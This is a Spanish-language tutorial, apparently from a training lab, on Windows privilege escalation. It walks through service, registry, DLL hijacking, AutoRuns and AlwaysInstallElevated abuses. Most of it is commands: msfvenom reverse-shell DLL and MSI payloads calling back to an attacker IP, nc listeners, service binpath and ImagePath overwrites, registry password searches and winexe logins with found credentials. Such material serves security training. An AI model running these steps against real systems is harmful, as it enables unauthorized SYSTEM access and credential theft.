# Escalación de Privilegios en entornos Windows

## Escalación de Privilegios <a href="#user-content-ntlm-msf" id="user-content-ntlm-msf"></a>

Herramientas de enumeración:

* [winPEAS](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/tools/winPEASany.exe)
* [PowerUp](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/tools/PowerUp.ps1)
* [SharpUp](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/tools/SharpUp.exe)
* [Seatbelt](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/tools/Seatbelt.exe)
* [Accesschk](https://github.com/W0lfF4ng/Binarios/blob/main/Windows/tools/accesschk.exe)

### Exploits de kernel

Para encontrar exploits asociados al kernel, debemos seguir el siguiente proceso:

* Enumerar la versión y el nivel de parchado de Windows (usando el comando `systeminfo`)
* Encontrar un exploit que haga match con la información anterior (Google, ExploitDB, Github)
* Compilar y ejecutar el exploit

> Los exploits de kernel pueden ser inestables y pueden provocar fallos en el sistema.

Existen herramientas que nos pueden ayudar con esta tarea:

* [Windows Exploit Suggester](https://github.com/bitsadmin/wesng)
* [Exploits pre-compilados](https://github.com/SecWiki/windows-kernel-exploits)
* [Watson](https://github.com/rasta-mouse/Watson)

Desde la máquina víctima, guardamos la información del comando `systeminfo` en la máquina atacante:

```batch
systeminfo > \\192.168.1.1\tools\systeminfo.txt
```

Desde la máquina atacante, ejecutamos wesng para buscar vulnerabilidades de kernel:

```bash
python3 wes.py --update
python3 wes.py /tools/systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
```

Con esta información, podemos buscar en el github de binarios pre-compilados o en los otros recursos indicados más arriba.

### Servicios vulnerables

Malas configuraciones de un servicio:

1. Permisos inseguros del servicio
2. Unquoted Services Path
3. Permisos débiles de registro
4. Ejecutables inseguros del servicio
5. DLL Hijacking

{% tabs %}
{% tab title="Permisos inseguros del servicio" %}
Cada servicio tiene una ACL que define ciertos permisos específicos de este.

Algunos permisos son inofensivos (como: `SERVICE_QUERY_CONFIG` o `SERVICE_QUERY_STATUS`), otros pueden ser de ayuda (como: `SERVICE_STOP` o `SERVICE_START`) y algunos pueden ser peligrosos (como: `SERVICE_CHANGE_CONFIG` o `SERVICE_ALL_ACCESS`).

Si el usuario tiene permisos para cambiar la configuración de un servicio que corre como SYSTEM, puede cambiar el ejecutable del servicio para usar el nuestro.

**Rabbit Hole potencial:** si podemos cambiar la configuración de un servicio, pero no podemos iniciar/detener el servicio, no seremos capaz de escalar privilegios.

Para detectar los servicios, podemos usar winPEAS:

```batch
.\winPEASany.exe quiet servicesinfo
```

![Servicio con permisos inseguros](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FfINM1cs9ERCeomK38ngL%2F01.png?alt=media\&token=d10f3448-3c92-4e2f-9516-13f4b4b94d58)

![Servicio que podemos modificar](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F9CEEbwBzJhUHtzyi2r4t%2F02.png?alt=media\&token=d3b6ba1b-0a05-47cf-9808-c3bc30b194e3)

Si encontramos un servicio interesante, podemos usar `accesschk` para corroborar los permisos:

```batch
.\accesschk.exe /accepteula -uwcqv <username> <service_name>
```

![Permisos que tiene el usuario sobre el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FfCSS6nyanj8YILPFEF4a%2F03.png?alt=media\&token=18da15fd-3178-45df-acb3-43eed4050e81)

> Podemos modificar la configuración y detener/iniciar el servicio.

Validamos la configuración de este:

```batch
sc qc <service_name>
```

![Configuración del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FconSTasBYBp8ucpoYbWK%2F04.png?alt=media\&token=de6fffb5-c65f-4c64-817f-3b876441a770)

Con esto, obtenemos el tipo de inicio del servicio, la ruta del binario, si tiene dependencias y los permisos del sistema.

Chequeamos el estado actual del servicio:

```batch
sc query <service_name>
```

![Estado del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FkPXODFFFcAaND7PWFBmk%2F05.png?alt=media\&token=7b2f04d5-ae59-4535-9fcd-c65a9d514d28)

Modificamos el PATH del binario, apuntando a nuestra shell reversa:

```batch
sc config <service_name> binpath= "\"C:\PrivEsc\reverse.exe\""
```

![Modificación del PATH del binario del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fc8XsAPN813KUah1hPbAz%2F06.png?alt=media\&token=a57019bc-a27e-444f-832c-0679563bbfd6)

Nos ponemos a la escucha en la máquina atacante:

```bash
nc -nvlp 53
```

Ahora iniciamos el servicio:

```batch
net start <service_name>
```

![Iniciamos el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FpuRiYYGPNz2TZWRVaFl4%2F07.png?alt=media\&token=ecb85992-202d-4905-b7ae-c039f414c9dc)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FgkztpGHToSjszOIJAo8D%2F08.png?alt=media\&token=1496a451-aeb7-47b1-a7ce-e2fec11c34d6)
{% endtab %}

{% tab title="Unquoted Service Path" %}
Los ejecutables en Windows pueden correr sin la necesidad de usar sus extensiones (como por ejemplo: `whoami.exe` puede correr como `whoami`).

Algunos ejecutables toman argumentos, separados por espacios. Este comportamiento es ambiguo cuando usan rutas absolutas que no tiene comillas y contienen espacios.

Por ejemplo, tenemos la siguiente ruta sin comillas: `C:\Program Files\Some Dir\SomeProgram.exe`.

Obviamente se ejecuta `SomeProgram.exe`, pero para Windows, `C:\Program` podría ser el ejecutable, que tiene dos argumentos: `Files\Some` y `Dir\SomeProgram.exe`.

Para que Windows resuelva esta ambigüedad, valida cada una de las posibilidades de ruta. Si podemos escribir en un lugar antes de que Windows ejecute el binario, podemos usar nuestro binario para que sea ejecutado.

Usando winPEAS, podemos detectar estos servicios:

```batch
.\winPEASany.exe quiet servicesinfo
```

![Unquoted Service Path](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FPRCn9sx4mzwWIGC3jyJ1%2F09.png?alt=media\&token=dffdee02-7e64-4ed7-938d-0be5c66fbf34)

Validamos los permisos que tenemos para el servicio detectado:

```batch
.\accesschk.exe /accepteula -ucqv <username> <service_name>
```

![Permisos que tiene el usuario sobre el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FO8Y2nI0bDfitEM8O6jGG%2F10.png?alt=media\&token=59d9df7e-2096-4a35-96e5-6de90c04b5c8)

Ahora, lo valoramos por las rutas donde se encuentra el servicio:

```batch
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```

![Permisos de las rutas del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fv0DvI0PKsqidysl01y7H%2F11.png?alt=media\&token=9c8164e7-6d98-4128-bb2f-9c8d39f0594c)

Copiamos nuestra shell reversa y lo llamamos `common.exe`:

```batch
copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```

![Creación del binario Common.exe](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FIZKAQCUNEmPXSzX65NhU%2F12.png?alt=media\&token=38cb5e5d-8e5a-427c-82ff-eca458482982)

Nos ponemos a la escucha en nuestra máquina atacante:

```bash
nc -nlvp 53
```

Ahora iniciamos el servicio:

```batch
net start <service_name>
```

![Iniciamos el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FrwZo21oAUZegdEXcUHcE%2F13.png?alt=media\&token=60cdcda5-4f13-43e7-b153-4ddea60059dc)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F6fuKBQZvPdp6RC5iuzVF%2F14.png?alt=media\&token=6fc6c7d0-6e6d-4738-bede-3a95c2878f8b)
{% endtab %}

{% tab title="Permisos débiles de registro" %}
Los registros de Windows almacenan entradas para cada servicio.

Algunas entradas pueden tener ACLs, las cuales, pueden estar mal configuradas, con lo cual, podríamos modificar la configuración del servicio incluso si no lo podemos hacer directamente.

Usando winPEAS, podemos ver los servicios:

```batch
.\winPEASany.exe quiet servicesinfo
```

![Registro de servicio que podemos modificar](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FCbqBXpVTDJzYVNSP5Xmm%2F15.png?alt=media\&token=b54c4eb7-f8d3-4939-85f9-64b913b517cc)

Validamos los permisos del servicio usando PowerShell:

```batch
powershell -exec bypass
Get-ACL HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
```

![Permisos del servicio usando PowerShell](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FwEGNgPlbQX7F7O4GSKA7%2F16.png?alt=media\&token=11c7f35f-a9c1-4b72-bf29-868f308a9c16)

Lo podemos hacer con `accesschk`:

```batch
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
```

![Permisos del servicio usando accesschk](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FVj18fi9HkWeMixURdtJG%2F17.png?alt=media\&token=656ea262-5f24-442b-abe9-961bc25c6f9e)

Si vemos que `AUTHORITY\INTERACTIVE` tiene `FullControl`, podemos hacer modificaciones.

Antes de seguir, validamos si podemos iniciar/detener el servicio:

```batch
.\accesschk.exe /accepteula -ucqv <username> <service_name>
```

![Permisos que tiene el usuario sobre el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F5gwwB1gJebRltpU7noHJ%2F18.png?alt=media\&token=53770f85-8e88-4cc7-8c19-608b4800d346)

Chequeamos los valores que tiene el registro:

```batch
reg query HKLM\SYSTEM\CurrentControlSet\Services\regsvc
```

![Información del registro del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FVXKVYHb7C7Oo4UzU9EVr%2F19.png?alt=media\&token=f33f0ef7-0983-44e9-9635-ca7f85d271b7)

Aquí podemos obtener la ruta del binario (`ImagePath`) y los permisos con el que se ejecuta (`LocalSystem` equivale a privilegios de SYSTEM).

Modificamos el valor `ImagePath`, apuntando a nuestra shell reversa:

```batch
reg add HKLM\SYSTEM\CurrentControlSet\Services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
```

![Modificación del registro](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FhcmF5mssYMzVTXYEvn55%2F20.png?alt=media\&token=459ded55-dc0f-434c-aec9-3d0a21736b2b)

Iniciamos netcat para poner el puerto a la escucha:

```bash
nc -nlvp 53
```

Iniciamos el servicio:

```batch
net start <service_name>
```

![Iniciamos el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F2vNIGdKwBYyDV1o5sNKU%2F21.png?alt=media\&token=e15737c6-92ca-4476-935b-dd301f2d001a)
{% endtab %}
{% endtabs %}

{% tabs %}
{% tab title="Ejecutables inseguros del servicio" %}
Si el ejecutable original del servicio es modificable por nuestro usuario, podríamos reemplazarlo con nuestro propio binario.

> Se recomienda siempre crear un backup del binario original.

Mediante winPEAS, validamos los servicios:

```batch
.\winPEASany.exe quiet servicesinfo
```

![Servicio con ejecutable inseguro](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FmD6VJtl6ydTciC6xPTHD%2F23.png?alt=media\&token=b54223b3-5c0b-4754-931e-862213f0d579)

Validamos la información de que el binario puede ser sobrescrito por cualquier:

```batch
.\accesschk.exe /accepteula -quvw <binary_path>
```

![Permisos que tenemos sobre el binario](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FF4g1a9G6ipMkvech3grs%2F24.png?alt=media\&token=9447cfb1-8b8e-4abf-9631-5edde250ca8f)

Revisamos si podemos iniciar/detener el servicio:

```batch
.\accesschk.exe /accepteula -uvqc <servicio>
```

![Permisos sobre el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FH1ZlQVTR8lkQNmjPVNca%2F25.png?alt=media\&token=1f83019a-d117-4817-bf61-9f077f70d0a6)

Creamos un backup del binario original:

```batch
copy <binary_path> C:\Temp
```

![Backup del binario original](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FEYJJeZd05WQeaJP5WaPm%2F26.png?alt=media\&token=158bbe78-1f71-4d48-87ca-72a000272a1e)

Sobrescribimos el binario original:

```batch
copy /Y C:\PrivEsc\reverse.exe <binary_path>
```

![Reemplazamos el binario original por nuestro shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FdEKqmOE17qIf1q5AKZfu%2F27.png?alt=media\&token=975ee1ac-a82c-497c-bc29-59eeea6b4cd2)

Nos ponemos a la escucha:

```bash
nc -nvlp 53
```

Por último, iniciamos el servicio:

```batch
net start <service_name>
```

![Iniciamos el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FGlgyw9hwmllXHZqdCEX7%2F28.png?alt=media\&token=c003438e-c928-41c1-9f59-eaf8a9cc40da)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FVGxOPEfppKuwJc6S1VYB%2F29.png?alt=media\&token=e4e8071a-05e0-45a2-9da4-58e73d01893a)
{% endtab %}

{% tab title="DLL Hijacking" %}
Algunas veces los servicios intentarán cargar funcionalidades desde una librería (DLL, dynamic-link library). Cualquier funcionalidad del DLL será ejecutado con los mismos privilegios del servicio.

Si el DLL es cargado en una ruta absoluta, podría ser posible que podamos escalar privilegios si el DLL puede ser sobrescrito por nuestro usuario.

El problema de configuración más común que se puede usar para escalar privilegios es si el DLL no se encuentra en el sistema, y nuestro usuario puede escribir en el directorio del PATH donde Windows busca el DLL.

Desafortunadamente, la detección inicial de esta vulnerabilidad es difícil, y el proceso de detección es completamente manual.

Mediante winPEAS podemos ver los servicios:

```batch
.\winPEASany.exe quiet servicesinfo
```

![Servicio con DLL Hijacking](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FhK5yK0hk8NkG5phbV24d%2F30.png?alt=media\&token=e6cc19b9-cb87-4f0a-a6df-5002e6230c0b)

![Directorio que podemos usar para DLL Hijacking](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FUt1FXyVLYmzUzWbaj1M9%2F31.png?alt=media\&token=3c188868-6c19-4785-81fb-109ae3278f5f)

Luego de detectar un servicio vulnerable, validamos los permisos que tenemos:

```batch
.\accesschk.exe /accepteula -uvqc <username> <service_name>
```

![Permisos del usuario sobre el servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F7DTR1XYjvAaIZTaRrUAZ%2F32.png?alt=media\&token=d56f8006-8b3f-4be9-a002-7e251b21abc3)

Chequeamos la información del servicio:

```batch
sc qc <service_name>
```

![Información del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FmcFZRRsgZ6gn4CYQeKlP%2F33.png?alt=media\&token=43d68fd8-b83a-4c12-8e31-840ecd6beddf)

Aquí, podemos obtener la ruta del binario y los permisos con los que se ejecuta.

Copiamos el binario en una máquina con Windows, y lo analizamos con `Procmon64`, el cual, debe ser ejecutado como administrador.

Detenemos y limpiamos los procesos, para así, poder agregar un nuevo filtro (`CTRL+L`) de `Process Name` que será igual al nombre del binario copiado (le damos Add):

![Borrado del listado de los procesos](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FoSpHdgfIi8O1y4WWuwdx%2F34.png?alt=media\&token=0d52e3d7-87c1-4292-b519-b090d4f03096)

![Filtro del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FpNdmHzeiGjJB9aJUMv5U%2F35.png?alt=media\&token=da609941-f599-49ec-99f2-e6415ed3237f)

Deseleccionamos la opción Show registry y Show network activity e iniciamos la captura nuevamente:

![Iniciamos la captura de los procesos del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FZ16Anm7naFWDfc40vkZo%2F36.png?alt=media\&token=797598d3-ccd1-4eaa-ad29-69c4e9a6a42c)

Volvemos a iniciar el servicio:

![Inicio del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FfrrWJtz3nBLgAfRwzAqa%2F37.png?alt=media\&token=5967e978-737d-4f95-9aad-663b605f2f23)

Identificamos los DLL que indican `NAME NOT FOUND` para luego buscarlos en el sistema de la máquina víctima:

![Detección de DLLs faltantes](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FJQRAbvPAQOXAgbWdNFAj%2F38.png?alt=media\&token=e169b22d-2f08-4f83-9504-b14de9470fd3)

Con esta información, más lo obtenido con winPEAS, creamos un DLL falso en una ruta donde podamos escribir.

Generamos el DLL con el siguiente comando:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.233.135 LPORT=53 -f dll -o <dll_name>
```

![Generación del DLL malicioso](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FmO0ZinITpciiu26P5udB%2F39.png?alt=media\&token=0c6cb374-eaad-40e6-bde2-ad905f251529)

Iniciamos nuestro listener:

```bash
nc -nlvp
```

Copiamos el DLL en la máquina víctima:

```batch
copy \\192.168.233.135\tools\<dll_name> C:\Temp
```

Reiniciamos el servicio:

```batch
net stop <service_name>
net start <service_name>
```

![Copia del DLL e inicio del servicio](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FBT09caOosLzrmPj0nX5c%2F40.png?alt=media\&token=8bdb36d0-1e5a-4d00-941a-558be85fe2e4)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXXymP2PVw1JN7wGPZ7yh%2F41.png?alt=media\&token=8d10401f-5658-47ad-8551-b06ad6b1ee23)
{% endtab %}
{% endtabs %}

### Registros vulnerables

{% tabs %}
{% tab title="AutoRuns" %}
Windows puede ser configurado para ejecutar comando al inicio de sesión, y con esto, poder escalación de privilegios.

Estos programas son configurados en un registro, donde, si tenemos permisos de escritubra sobre el ejecutable AutoRun, y somos capaces de reiniciar el sistema (o esperar a que se reinicie), podríamos ser capaces de escalar privilegios.

Podemos usar winPEAS para ver la información de las aplicaciones:

```batch
.\winPEASany.exe quiet applicationsinfo
```

![Programa AutoRun](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FcTSYUWZg6HB5uxPH3rz4%2F42.png?alt=media\&token=ff314415-3a71-4349-b82f-2686773130ef)

Con esta información, podemos obtener los AutoRuns y los permisos que tenemos en dicho programa.

Esto se puede enumerar manualmente usando el siguiente comando:

```batch
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
.\accesschk.exe /accepteula -wvu <AutoRun_binary_path>
```

![Registro AutoRun](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXBZVOekVEuGkDBbPdC3s%2F43.png?alt=media\&token=9346b43d-548e-42ed-98f6-6ee775317168)

![Permisos sobre el ejecutable](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FiT4j4EYn8MQ7Yf6l1cSZ%2F44.png?alt=media\&token=88907362-f820-4a8d-b851-77afcae98572)

Generamos un backup del binario original:

```batch
copy <AutoRun_binary_path> C:\Temp
```

![Respaldo del binario original](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FJPaiTpvSyJAH4q6G1jmi%2F45.png?alt=media\&token=6c4454de-2dcd-4bec-99e8-fff121bbc863)

Sobrescribimos el binario con nuestra shell reversa:

```batch
copy /Y reverse.exe <AutoRun_binary_path>
```

![Cambiamos el binario original por nuestra shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FTswhNXrAsZg3AzQactbU%2F46.png?alt=media\&token=a39b80f2-986b-4488-b63e-0c2f980baacb)

Iniciamos un listener:

```bash
nc -nlvp 53
```

Esperamos que se reinicie el sistema (o si tenemos los permisos, lo reiniciamos).

> En Windows 10, los permisos del binario de AutoRun serán del último usuario logueado.

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F9hiydf9LxjaKOvaV0uN5%2F47.png?alt=media\&token=57296e4d-3aee-4c0b-b9b3-575ad6099f50)
{% endtab %}

{% tab title="AlwaysInstallElevated" %}
Los archivo MSI son paquetes usados para instalar aplicaciones.

Estos archivos corren con el permiso del usuario que los intenta instalar.

Windows permite a algunos instaladores correr con permisos elevados (administrador).

Si este es el caso, podemos generar un archivo MSI malicioso que contenga una shell reversa.

Para lograr esto, dos registros deben estar habilitados:

* El valor `AlwaysInstallElevated` debe estar configurado en `1` para el local machine (`HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer`) y para el usuario actual (`HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer`).

> Si alguno de estos falta, el exploit no funcionará.

Ejecutamos winPEAS para detectar esta configuración:

```batch
.\winPEASany.exe quiet windowscreds
```

![Registros AlwaysInstallElevated - winPEAS](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FJ7Lae1PFe88kjydbdGvS%2F48.png?alt=media\&token=90bcbb62-9641-4168-a10a-a115732fcd36)

Podemos validar esto de forma manual, consultando las llaves de registro:

```batch
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

![Registros AlwaysInstallElevated - manual](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FkRGanCHjutClk9XrxSaV%2F49.png?alt=media\&token=b6077cd1-79d5-418d-b32e-9ee34178994e)

Generamos un payload usando msfvenom:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.233.135 LPORT=53 -f msi -o reverse.msi
```

![Payload](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FGIgi63DQGP1M67IotJuK%2F50.png?alt=media\&token=1875a47f-9b3a-4bce-9b2d-333faa207ce2)

Configuramos el listener:

```bash
nc -nlvp 53
```

Copiamos y ejecutamos el archivo MSI:

```batch
copy \\192.168.233.135\tmp\reverse.msi .
msiexec /quiet /qn /i reverse.msi
```

![Ejecución del archivo MSI malicioso](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FuYJCyRC4MdASxYF85fCo%2F51.png?alt=media\&token=91b0183c-d1fd-44a0-9528-1c1fc58bb52a)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FA1DjtrNAAsklJJlD58HS%2F52.png?alt=media\&token=c6be1d4e-8740-49de-8606-040a62e460ef)
{% endtab %}
{% endtabs %}

### Passwords

Podemos encontrar que los administradores reutilizan sus contraseñas, o las dejan en una locación legible en el sistema.

Windows puede ser muy vulnerable a esto, debido que, varias características de este almacenan las contraseñas de forma insegura.

{% tabs %}
{% tab title="Registros" %}
Algunos programas almacenan sus opciones de configuración en registros de Windows.

Windows por si solo, algunas veces almacena las contraseñas en texto plano en los registros.

Vale la pena buscar contraseñas en los registros.

Con los siguientes comandos podemos buscar llaves de registros que contengan el valor `password`:

```batch
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

También, podemos usar winPEAS:

```batch
.\winPEASany.exe quiet filesinfo userinfo
```

![Credenciales almacenadas en AutoLogon](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FrbGdFhEpnaEFlmpYbHuj%2F53.png?alt=media\&token=11bf0589-61db-43f5-bba2-d61983b7442d)

![Credenciales almacenadas de Putty](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FOJS1rAVmAw2VJmwCBTbq%2F54.png?alt=media\&token=0d947659-2fed-48bc-99ef-af7dc11855c7)

Al obtener las credenciales, podemos usar la herramienta `winexe` para obtener nuestra shell:

```bash
winexe -U 'admin%password123' //192.168.233.141 cmd.exe
```

![Conexión usando el usuario admin](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fmj4TdvT4Dky0jHDqU9uK%2F55.png?alt=media\&token=5cfeea8a-6f3a-4e66-9d07-5af63449fc23)

Podemos modificar un poco el comando, para obtener una shell como SYSTEM:

```bash
winexe -U 'admin%password123' --system //192.168.1.1 cmd.exe
```

![Conexión como SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FqtjnbYIN8XyulOnHjZjQ%2F56.png?alt=media\&token=a7ef820c-e2df-48e7-b90f-22d9338cb8f6)
{% endtab %}

{% tab title="Saved Creds" %}
Windows tiene el comando `runas` que permite a los usuarios correr comandos con el privilegio de otro.

Esto por lo general requiere el conocimiento de la contraseña del usuario, pero Windows también permite a los usuarios guardar sus credenciales en el sistema, las cuales, pueden ser usada para realizar un bypass de este requerimiento.

Podemos usar winPEAS para buscar estas credenciales:

```batch
.\winPEASany.exe quiet windowscreds
```

Esto lo podemos validar usando el siguiente comando:

```batch
cmdkey /list
```

![Credenciales almacenadas](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FA5alWSYtTHC1k5kTOfZ1%2F57.png?alt=media\&token=8d26acce-7da7-4ac0-9aa9-893a9232eaec)

Como tenemos las credenciales del usuario admin guardadas, podemos ejecutar cualquier comando usándolas.

